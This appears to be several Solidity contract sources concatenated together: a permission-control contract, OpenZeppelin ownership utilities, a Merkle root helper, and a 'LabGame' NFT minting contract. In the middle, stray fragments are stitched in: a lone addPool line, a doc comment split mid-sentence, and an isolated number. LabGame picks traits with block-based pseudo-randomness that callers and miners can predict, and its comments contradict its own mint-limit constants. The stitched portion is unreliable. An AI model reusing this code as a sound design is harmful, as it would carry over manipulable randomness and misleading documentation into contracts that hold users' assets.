memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Address.sol"; /** @title An advanced permission-management contract. @author Tim Clancy This contract allows for a contract owner to delegate specific rights to external addresses. Additionally, these rights can be gated behind certain sets of circumstances and granted expiration times. This is useful for some more finely-grained access control in contracts. The owner of this contract is always a fully-permissioned super-administrator. August 23rd, 2021. */ abstract contract PermitControl is Ownable { using Address for address; /// A special reserved constant for representing no rights. bytes32 public constant ZERO_RIGHT = hex"00000000000000000000000000000000"; /// A special constant specifying the unique, universal-rights circumstance. bytes32 public constant UNIVERSAL = hex"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"; /* A special constant specifying the unique manager right. This right allows an address to freely-manipulate the `managedRight` mapping. **/ bytes32 public constant MANAGER = hex"FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF"; /** A mapping of per-address permissions to the circumstances, represented as an additional layer of generic bytes32 data, under which the addresses have various permits. A permit in this sense is represented by a per-circumstance mapping which couples some right, represented as a generic bytes32, to an expiration time wherein the right may no longer be exercised. An expiration time of 0 indicates that there is in fact no permit for the specified address to exercise the specified right under the specified circumstance. @dev Universal rights MUST be stored under the 0xFFFFFFFFFFFFFFFFFFFFFFFF... max-integer circumstance. Perpetual rights may be given an expiry time of max-integer. */ mapping( address => mapping( bytes32 => mapping( bytes32 => uint256 ))) public permissions; /** An additional mapping of managed rights to manager rights. This mapping represents the administrator relationship that various rights have with one another. An address with a manager right may freely set permits for that manager right's managed rights. Each right may be managed by only one other right. */ mapping( bytes32 => bytes32 ) public managerRight; /** An event emitted when an address has a permit updated. This event captures, through its various parameter combinations, the cases of granting a permit, updating the expiration time of a permit, or revoking a permit. @param updator The address which has updated the permit. @param updatee The address whose permit was updated. @param circumstance The circumstance wherein the permit was updated. @param role The role which was updated. @param expirationTime The time when the permit expires. */ event PermitUpdated( address indexed updator, address indexed updatee, bytes32 circumstance, bytes32 indexed role, uint256 expirationTime ); // /** // A version of PermitUpdated for work with setPermits() function. // @param updator The address which has updated the permit. // @param updatees The addresses whose permit were updated. // @param circumstances The circumstances wherein the permits were updated. // @param roles The roles which were updated. // @param expirationTimes The times when the permits expire. // */ // event PermitsUpdated( // address indexed updator, // address[] indexed updatees, // bytes32[] circumstances, // bytes32[] indexed roles, // uint256[] expirationTimes // ); /** An event emitted when a management relationship in `managerRight` is updated. This event captures adding and revoking management permissions via observing the update history of the `managerRight` value. @param manager The address of the manager performing this update. @param managedRight The right which had its manager updated. @param managerRight The new manager right which was updated to. */ event ManagementUpdated( address indexed manager, bytes32 indexed managedRight, bytes32 indexed managerRight ); /** A modifier which allows only the super-administrative owner or addresses with a specified valid right to perform a call. @param _circumstance The circumstance under which to check for the validity of the specified `right`. @param _right The right to validate for the calling address. It must be non-expired and exist within the specified `_circumstance`. */ modifier hasValidPermit( bytes32 _circumstance, bytes32 _right ) { require(_msgSender() == owner() || hasRight(_msgSender(), _circumstance, _right), "P1"); _; } /** Return a version number for this contract's interface. */ function version() external virtual pure returns (uint256) { return 1; } /** Determine whether or not an address has some rights under the given circumstance, and if they do have the right, until when. @param _address The address to check for the specified `_right`. @param _circumstance The circumstance to check the specified `_right` for. @param _right The right to check for validity. @return The timestamp in seconds when the `_right` expires. If the timestamp is zero, we can assume that the user never had the right. */ function hasRightUntil( address _address, bytes32 _circumstance, bytes32 _right ) public view returns (uint256) { return permissions[_address][_circumstance][_right]; } /** Determine whether or not an address has some rights under the given circumstance, @param _address The address to check for the specified `_right`. @param _circumstance The circumstance to check the specified `_right` for. @param _right The right to check for validity. @return true or false, whether user has rights and time is valid. */ function hasRight( address _address, bytes32 _circumstance, bytes32 _right ) public view returns (bool) { return permissions[_address][_circumstance][_right] > block.timestamp; } /** Set the permit to a specific address under some circumstances. A permit may only be set by the super-administrative contract owner or an address holding some delegated management permit. @param _address The address to assign the specified `_right` to. @param _circumstance The circumstance in which the `_right` is valid. @param _right The specific right to assign. @param _expirationTime The time when the `_right` expires for the provided `_circumstance`. */ function setPermit( address _address, bytes32 _circumstance, bytes32 _right, uint256 _expirationTime ) public virtual hasValidPermit(UNIVERSAL, managerRight[_right]) { require(_right != ZERO_RIGHT, "P2"); permissions[_address][_circumstance][_right] = _expirationTime; emit PermitUpdated(_msgSender(), _address, _circumstance, _right, _expirationTime); } // /** // Version of setPermit() that works with multiple addresses in one transaction. // @param _addresses The array of addresses to assign the specified `_right` to. // @param _circumstances The array of circumstances in which the `_right` is // valid. // @param _rights The array of specific rights to assign. // @param _expirationTimes The array of times when the `_rights` expires for // the provided _circumstance`. // */ // function setPermits( // address[] memory _addresses, // bytes32[] memory _circumstances, // bytes32[] memory _rights, // uint256[] memory _expirationTimes // ) public virtual { // require((_addresses.length == _circumstances.length) // && (_circumstances.length == _rights.length) // && (_rights.length == _expirationTimes.length), // "leghts of input arrays are not equal" // ); // bytes32 lastRight; // for(uint i = 0; i < _rights.length; i++) { // if (lastRight != _rights[i] || (i == 0)) { // require(_msgSender() == owner() || hasRight(_msgSender(), _circumstances[i], _rights[i]), "P1"); // require(_rights[i] != ZERO_RIGHT, "P2"); // lastRight = _rights[i]; // } // permissions[_addresses[i]][_circumstances[i]][_rights[i]] = _expirationTimes[i]; // } // emit PermitsUpdated( // _msgSender(), // _addresses, // _circumstances, // _rights, // _expirationTimes // ); // } /** Set the `_managerRight` whose `UNIVERSAL` holders may freely manage the specified `_managedRight`. @param _managedRight The right which is to have its manager set to `_managerRight`. @param _managerRight The right whose `UNIVERSAL` holders may manage `_managedRight`. */ function setManagerRight( bytes32 _managedRight, bytes32 _managerRight ) external virtual hasValidPermit(UNIVERSAL, MANAGER) { require(_managedRight != ZERO_RIGHT, "P3"); managerRight[_managedRight] = _managerRight; emit ManagementUpdated(_msgSender(), _managedRight, _managerRight); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; import "../../base/Sweepable.sol"; /** @title A merkle tree root finder. @author Qazawat Zirak This contract is meant for calculating a root hash from any given valid index, valid node at that index, and valid merkle proofs. October 12th, 2021. */ abstract contract MerkleCore is Sweepable { /** Calculate a root hash from given parameters. @param _index index of the hashed node from the list. @param _node the hashed node at that index. @param _merkleProof array of one required merkle hash per level. @return a root hash from given parameters. */ function getRootHash(uint256 _index, bytes32 _node, bytes32[] calldata _merkleProof) internal pure returns(bytes32) { uint256 path = _index; for (uint256 i = 0; i < _merkleProof.length; i++) { if ((path & 0x01) == 1) { _node = keccak256(abi.encodePacked(_merkleProof[i], _node)); } else { _node = keccak256(abi.encodePacked(_node, _merkleProof[i])); } path /= 2; } return _node; } } // SPDX-License-Identifier: GPL-3.0 pragma solidity 0.8.8; /** Interface for interacting with contract inheriting from SuperMerkleAccess contract */ interface IMerkle { /** Set a new round for the accesslist. @param _accesslistId the accesslist id containg the merkleRoot. @param _merkleRoot the new merkleRoot for the round. @param _startTime the start time of the new round. @param _endTime the end time of the new round. @param _price the access price. @param _token the token address for access price. */ function setAccessRound(uint256 _accesslistId, bytes32 _merkleRoot, uint256 _startTime, uint256 _endTime, uint256 _price, address _token) external; }
/ Increment the ID which will be used by the next pool added.
function addPool(DFStorage.PoolInput calldata _pool, uint256[] calldata _groupIds, uint256[] calldata _issueNumberOffsets, uint256[] calldata _caps, DFStorage.Price[][] calldata _prices) external hasValidPermit(UNIVERSAL, POOL) { updatePool(nextPoolId, _pool, _groupIds, _issueNumberOffsets, _caps, _prices); nextPoolId += 1; } pool of items. @param _id The ID of the pool to update. @param _config The PoolInput full of data defining the pool's operation. @param _groupIds The specific item group IDs to sell in this pool, keyed to the `_amounts` array. @param _issueNumberOffsets The offset for the next issue number minted for a particular item group in `_groupIds`. This is *important* to handle pre-minted or partially-minted item groups. @param _caps The maximum amount of each particular groupId that can be sold by this pool. @param _prices The asset address to price pairings to use for selling each item.
15,800,858
// SPDX-License-Identifier: MIT pragma solidity ^0.8.13; import "./openzeppelin/token/ERC721/extensions/ERC721EnumerableUpgradeable.sol"; import "./openzeppelin/access/OwnableUpgradeable.sol"; import "./openzeppelin/security/PausableUpgradeable.sol"; import "./abstract/Generator.sol"; import "./abstract/Whitelist.sol"; import "./interface/ISerum.sol"; import "./interface/IMetadata.sol"; import "./interface/IBlueprint.sol"; error NotWhitelisted(address _account); error InvalidMintAmount(uint256 _amount); error LimitExceeded(address _account); error SoldOut(); error GenerationLimit(uint256 _generation); error NotEnoughEther(uint256 _given, uint256 _expected); error InvalidBurnLength(uint256 _given, uint256 _expected); error BurnNotOwned(address _sender, uint256 _tokenId); error InvalidBurnGeneration(uint256 _given, uint256 _expected); error BlueprintNotReady(); error EarlyMintIsEnabled(); error EarlyMintNotEnabled(); // LabGame V2.0 contract LabGame is ERC721EnumerableUpgradeable, OwnableUpgradeable, PausableUpgradeable, Generator, Whitelist { uint256 constant GEN0_PRICE = 0 ether; // @since V2.0 Free mint uint256 constant GEN1_PRICE = 5_000 ether; uint256 constant GEN2_PRICE = 12_500 ether; uint256 constant GEN3_PRICE = 45_000 ether; uint256 constant GEN0_MAX = 1_111; uint256 constant GEN1_MAX = 2_222; uint256 constant GEN2_MAX = 3_333; uint256 constant GEN3_MAX = 4_444; uint256 constant WHITELIST_MINT_LIMIT = 2; uint256 constant PUBLIC_MINT_LIMIT = 5; uint256 constant EXTRA_MINT_LIMIT = 20; uint256 constant MAX_TRAITS = 16; uint256 constant TYPE_OFFSET = 9; mapping(uint256 => uint256) tokens; mapping(address => uint256) whitelistMints; mapping(address => uint256) publicMints; uint256 tokenOffset; ISerum public serum; IMetadata public metadata; IBlueprint public blueprint; uint8[][MAX_TRAITS] rarities; uint8[][MAX_TRAITS] aliases; bool public earlyMintEnabled; // @since V2.0 mapping(address => bool) public extraMintAccounts; /** * LabGame constructor * @param _name ERC721 name * @param _symbol ERC721 symbol * @param _serum Serum contract address * @param _metadata Metadata contract address * @param _vrfCoordinator VRF Coordinator address * @param _keyHash Gas lane key hash * @param _subscriptionId VRF subscription id * @param _callbackGasLimit VRF callback gas limit */ function initialize( string memory _name, string memory _symbol, address _serum, address _metadata, address _vrfCoordinator, bytes32 _keyHash, uint64 _subscriptionId, uint32 _callbackGasLimit ) public initializer { __ERC721_init(_name, _symbol); __Ownable_init(); __Pausable_init(); __Generator_init(_vrfCoordinator, _keyHash, _subscriptionId, _callbackGasLimit); __Whitelist_init(); serum = ISerum(_serum); metadata = IMetadata(_metadata); // Setup rarity and alias tables for token traits rarities[0] = [255, 255, 255, 255, 255, 255, 255, 255]; aliases[0] = [0, 0, 0, 0, 0, 0, 0, 0]; rarities[1] = [89, 236, 255, 44, 179, 249, 134]; aliases[1] = [2, 2, 0, 1, 5, 2, 5]; rarities[2] = [50, 73, 96, 119, 142, 164, 187, 210, 233, 255, 28]; aliases[2] = [1, 2, 3, 4, 5, 6, 7, 8, 9, 0, 0]; rarities[3] = [255, 128, 255, 192, 128, 192, 255, 255, 255, 64, 255, 255, 64, 255, 128, 255, 128, 128, 255, 128, 255, 255, 128, 255, 255]; aliases[3] = [0, 6, 0, 24, 7, 24, 0, 0, 0, 3, 0, 0, 5, 0, 8, 0, 11, 15, 0, 18, 0, 0, 20, 0, 0]; rarities[4] = [199, 209, 133, 255, 209, 209, 255, 133, 255, 133, 199, 255, 199, 66, 66, 199, 255, 133, 255, 255, 66, 255, 255, 66, 250, 240]; aliases[4] = [22, 24, 8, 0, 24, 25, 0, 11, 0, 16, 24, 0, 25, 25, 1, 22, 0, 19, 0, 0, 4, 0, 0, 5, 8, 22]; rarities[5] = [255, 204, 255, 204, 40, 235, 204, 204, 235, 204, 204, 40, 204, 204, 204, 204]; aliases[5] = [0, 5, 0, 8, 0, 0, 5, 8, 2, 5, 8, 2, 5, 8, 5, 8]; rarities[6] = [158, 254, 220, 220, 158, 158, 220, 220, 220, 220, 158, 158, 238, 79, 158, 238, 79, 220, 220, 238, 158, 220, 245, 245, 245, 253, 158, 255, 253, 158, 253]; aliases[6] = [2, 27, 22, 23, 3, 6, 24, 25, 28, 30, 7, 8, 25, 1, 9, 28, 27, 22, 23, 30, 17, 24, 25, 28, 30, 1, 18, 0, 27, 21, 1]; rarities[7] = [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]; aliases[7] = [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]; rarities[8] = [112, 112, 160, 160, 208, 64, 64, 208, 255, 255]; aliases[8] = [2, 3, 4, 7, 8, 0, 1, 9, 0, 0]; rarities[9] = [255, 255, 255, 255, 255, 255, 255, 255]; aliases[9] = [0, 0, 0, 0, 0, 0, 0, 0]; rarities[10] = [235, 250, 46, 30, 255, 76]; aliases[10] = [4, 4, 1, 0, 0, 4]; rarities[11] = [153, 204, 255, 102]; aliases[11] = [1, 2, 0, 0]; rarities[12] = [81, 138, 133, 30, 184, 189, 189, 138, 235, 240, 240, 255]; aliases[12] = [2, 5, 4, 0, 8, 9, 10, 6, 11, 11, 11, 0]; rarities[13] = [255, 255, 255, 255, 255, 255, 255, 255]; aliases[13] = [0, 0, 0, 0, 0, 0, 0, 0]; rarities[14] = [76, 192, 255]; aliases[14] = [2, 2, 0]; rarities[15] = [236, 236, 224, 224, 249, 249, 255]; aliases[15] = [4, 5, 0, 1, 6, 6, 0]; } // -- EXTERNAL -- // @since V2.0 - Whitelist mint no longer needed /** * Mint scientists & mutants * @param _amount Number of tokens to mint * @param _burnIds Token Ids to burn as payment (for gen 1 & 2) */ function mint(uint256 _amount, uint256[] calldata _burnIds) external payable whenNotPaused { if (earlyMintEnabled) revert EarlyMintIsEnabled(); uint256 publicMintCount = publicMints[_msgSender()]; // Verify amount // @since V2.0 Transaction limit of 10, account limit of 20 if (_amount == 0 || _amount > PUBLIC_MINT_LIMIT) revert InvalidMintAmount(_amount); // Verify generation and price uint256 id = totalMinted(); if (id >= GEN3_MAX) revert SoldOut(); uint256 max = id + _amount; uint256 generation; // Generation 0 if (id < GEN0_MAX) { if (max > GEN0_MAX) revert GenerationLimit(0); // @since V2.0 - No ether required to mint // Account limit of PUBLIC_MINT_LIMIT not including whitelist mints // @since V2.0 - Fix underflow bug uint256 currentBalance = balanceOf(_msgSender()); uint256 whitelistMintCount = whitelistMints[_msgSender()]; if ( (currentBalance >= whitelistMintCount && currentBalance - whitelistMintCount + _amount > PUBLIC_MINT_LIMIT) || (publicMintCount + _amount > PUBLIC_MINT_LIMIT) ) revert LimitExceeded(_msgSender()); // Generation 1 } else if (id < GEN1_MAX) { if (max > GEN1_MAX) revert GenerationLimit(1); serum.burn(_msgSender(), _amount * GEN1_PRICE); generation = 1; // Generation 2 } else if (id < GEN2_MAX) { if (max > GEN2_MAX) revert GenerationLimit(2); serum.burn(_msgSender(), _amount * GEN2_PRICE); generation = 2; // Generation 3 } else if (id < GEN3_MAX) { if (address(blueprint) == address(0)) revert BlueprintNotReady(); if (max > GEN3_MAX) revert GenerationLimit(3); serum.burn(_msgSender(), _amount * GEN3_PRICE); generation = 3; } // Burn tokens to mint gen 1, 2, and 3 uint256 burnLength = _burnIds.length; if (generation != 0) { if (burnLength != _amount) revert InvalidBurnLength(burnLength, _amount); for (uint256 i; i < burnLength; i++) { // Verify token to be burned if (_msgSender() != ownerOf(_burnIds[i])) revert BurnNotOwned(_msgSender(), _burnIds[i]); if (tokens[_burnIds[i]] & 3 != generation - 1) revert InvalidBurnGeneration(tokens[_burnIds[i]] & 3, generation - 1); _burn(_burnIds[i]); } // Add burned tokens to id offset tokenOffset += burnLength; // Generation 0 no burn needed } else { if (burnLength != 0) revert InvalidBurnLength(burnLength, 0); } publicMints[_msgSender()] = publicMintCount + _amount; // Request token mint // @since V2.0 - Single transaction mint // Token id to mint in [id + 1, id + _amount] max++; for (uint i = id + 1; i < max; i++) { uint256 seed = _random(i); _revealToken(i, seed); } } function earlyMint(uint256 _amount) external whenNotPaused { if (!earlyMintEnabled) revert EarlyMintNotEnabled(); // Only when early mint enabled uint256 whitelistMintCount = whitelistMints[_msgSender()]; uint256 publicMintCount = publicMints[_msgSender()]; bool hasExtraMints = extraMintAccounts[_msgSender()]; if (whitelistMintCount == 0 && publicMintCount == 0 && hasExtraMints == false) revert EarlyMintIsEnabled(); uint256 limit = hasExtraMints ? EXTRA_MINT_LIMIT : PUBLIC_MINT_LIMIT; // Verify amount // @since V2.0 Transaction limit of 10, account limit of 20 if (_amount == 0 || _amount > limit) revert InvalidMintAmount(_amount); // Verify generation and price uint256 id = totalMinted(); uint256 max = id + _amount; if (id >= GEN0_MAX || max > GEN0_MAX) revert GenerationLimit(0); // @since V2.0 - No ether required to mint // Account limit of PUBLIC_MINT_LIMIT not including whitelist mints // @since V2.0 - Fix underflow bug uint256 currentBalance = balanceOf(_msgSender()); if ( (currentBalance >= whitelistMintCount && currentBalance - whitelistMintCount + _amount > limit) || (publicMintCount + _amount > limit) ) revert LimitExceeded(_msgSender()); publicMints[_msgSender()] = publicMintCount + _amount; // Request token mint // @since V2.0 - Single transaction mint // Token id to mint in [id + 1, id + _amount] max++; for (uint i = id + 1; i < max; i++) { _revealToken(i, _random(i)); } } /** * Reveal pending mints */ function reveal() external whenNotPaused { (, uint256 count) = pendingOf(_msgSender()); _reveal(_msgSender()); // Tokens minted, update offset tokenOffset -= count; } /** * Get the metadata uri for a token * @param _tokenId Token ID to query * @return Token metadata json URI */ function tokenURI(uint256 _tokenId) public view override returns (string memory) { if (!_exists(_tokenId)) revert ERC721_QueryForNonexistentToken(_tokenId); return metadata.tokenURI(_tokenId); } /** * Get the total number of minted tokens * @return Total number of minted tokens */ function totalMinted() public view returns (uint256) { return totalSupply() + tokenOffset; } /** * Get the data of a token * @param _tokenId Token ID to query * @return Token structure */ function getToken(uint256 _tokenId) external view returns (uint256) { if (!_exists(_tokenId)) revert ERC721_QueryForNonexistentToken(_tokenId); return tokens[_tokenId]; } // -- INTERNAL -- function _beforeTokenTransfer(address _from, address _to, uint256 _tokenId) internal override { super._beforeTokenTransfer(_from, _to, _tokenId); // Update serum claim on transfer and burn if (_from != address(0)) serum.updateClaim(_from, _tokenId); } /** * Generate and mint pending token using random seed * @param _tokenId Token ID to reveal * @param _seed Random seed */ function _revealToken(uint256 _tokenId, uint256 _seed) internal override { // Calculate generation of token uint256 token; if (_tokenId <= GEN0_MAX) {} else if (_tokenId <= GEN1_MAX) token = 1; else if (_tokenId <= GEN2_MAX) token = 2; else if (_tokenId <= GEN3_MAX) token = 3; // Select scientist or mutant // @since V2.0 Mint mutants at 2% token |= (((_seed & 0xFFFF) % 100) < 2) ? 128 : 0; // Loop over tokens traits (9 scientist, 8 mutant) (uint256 start, uint256 count) = (token & 128 != 0) ? (TYPE_OFFSET, MAX_TRAITS - TYPE_OFFSET) : (0, TYPE_OFFSET); for (uint256 i; i < count; i++) { _seed >>= 16; token |= _selectTrait(_seed, start + i) << (8 * i + 8); } // Save traits tokens[_tokenId] = token; // Mint token _safeMint(_msgSender(), _tokenId); // Setup serum claim for token serum.initializeClaim(_tokenId); // Mint blueprint to gen3 tokens if (token & 3 == 3) blueprint.mint(_msgSender(), _seed >> 16); } /** * Select a trait from the alias tables using a random seed (16 bit) * @param _seed Random seed * @param _trait Trait to select * @return Index of the selected trait */ function _selectTrait(uint256 _seed, uint256 _trait) internal view returns (uint256) { uint256 i = (_seed & 0xFF) % rarities[_trait].length; return (((_seed >> 8) & 0xFF) < rarities[_trait][i]) ? i : aliases[_trait][i]; } /** * Generate a psuedo-random number * @param _seed Seed for the RNG * @return Random 256 bit number */ function _random(uint256 _seed) internal view returns (uint256) { return uint256(keccak256(abi.encodePacked( tx.origin, blockhash(block.number - 1), block.timestamp, _seed ))); } // -- OWNER -- /** * Enable/disable holder only early mint */ function setEarlyMintEnabled(bool _earlyMintEnabled) external onlyOwner { earlyMintEnabled = _earlyMintEnabled; } /** * Add account to the early mint * @param _accounts Account to add */ function addEarlyMintAccounts(address[] calldata _accounts) external onlyOwner { for (uint256 i; i < _accounts.length; i++) whitelistMints[_accounts[i]]++; } /** * Add account to the extra mint list * @param _accounts Account to add */ function addExtraMintAccounts(address[] calldata _accounts) external onlyOwner { for (uint256 i; i < _accounts.length; i++) extraMintAccounts[_accounts[i]] = true; } /** * Pause the contract */ function pause() external onlyOwner { _pause(); } /** * Unpause the contract */ function unpause() external onlyOwner { _unpause(); } /** * Set blueprint contract * @param _blueprint Address of the blueprint contract */ function setBlueprint(address _blueprint) external onlyOwner { blueprint = IBlueprint(_blueprint); } /** * Withdraw funds to owner */ function withdraw() external onlyOwner { (bool os, ) = payable(owner()).call{value: address(this).balance}(""); require(os); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/ERC721Enumerable.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../ERC721Upgradeable.sol"; import "@openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721EnumerableUpgradeable.sol"; import "../../../proxy/utils/Initializable.sol"; /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ error ERC721Enumerable_IndexOutOfBounds(uint256 index, uint256 max); abstract contract ERC721EnumerableUpgradeable is Initializable, ERC721Upgradeable, IERC721EnumerableUpgradeable { function __ERC721Enumerable_init() internal onlyInitializing { } function __ERC721Enumerable_init_unchained() internal onlyInitializing { } // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165Upgradeable, ERC721Upgradeable) returns (bool) { return interfaceId == type(IERC721EnumerableUpgradeable).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { if (index >= ERC721Upgradeable.balanceOf(owner)) revert ERC721Enumerable_IndexOutOfBounds(index, ERC721Upgradeable.balanceOf(owner)); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { if (index >= ERC721EnumerableUpgradeable.totalSupply()) revert ERC721Enumerable_IndexOutOfBounds(index, ERC721EnumerableUpgradeable.totalSupply()); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721Upgradeable.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721Upgradeable.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } /** * @dev This empty reserved space is put in place to allow future versions to add new * variables without shifting down storage in the inheritance chain. * See https://docs.openzeppelin.com/contracts/4.x/upgradeable#storage_gaps */ uint256[46] private __gap; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) // Modified to use custom errors instead of require strings pragma solidity ^0.8.13; import "../utils/ContextUpgradeable.sol"; import "../proxy/utils/Initializable.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ error Ownable_CallerNotOwner(address caller, address owner); error Ownable_NewOwnerZeroAddress(); abstract contract OwnableUpgradeable is Initializable, ContextUpgradeable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal onlyInitializing { __Ownable_init_unchained(); } function __Ownable_init_unchained() internal onlyInitializing { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { if (owner() != _msgSender()) revert Ownable_CallerNotOwner(_msgSender(), owner()); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * 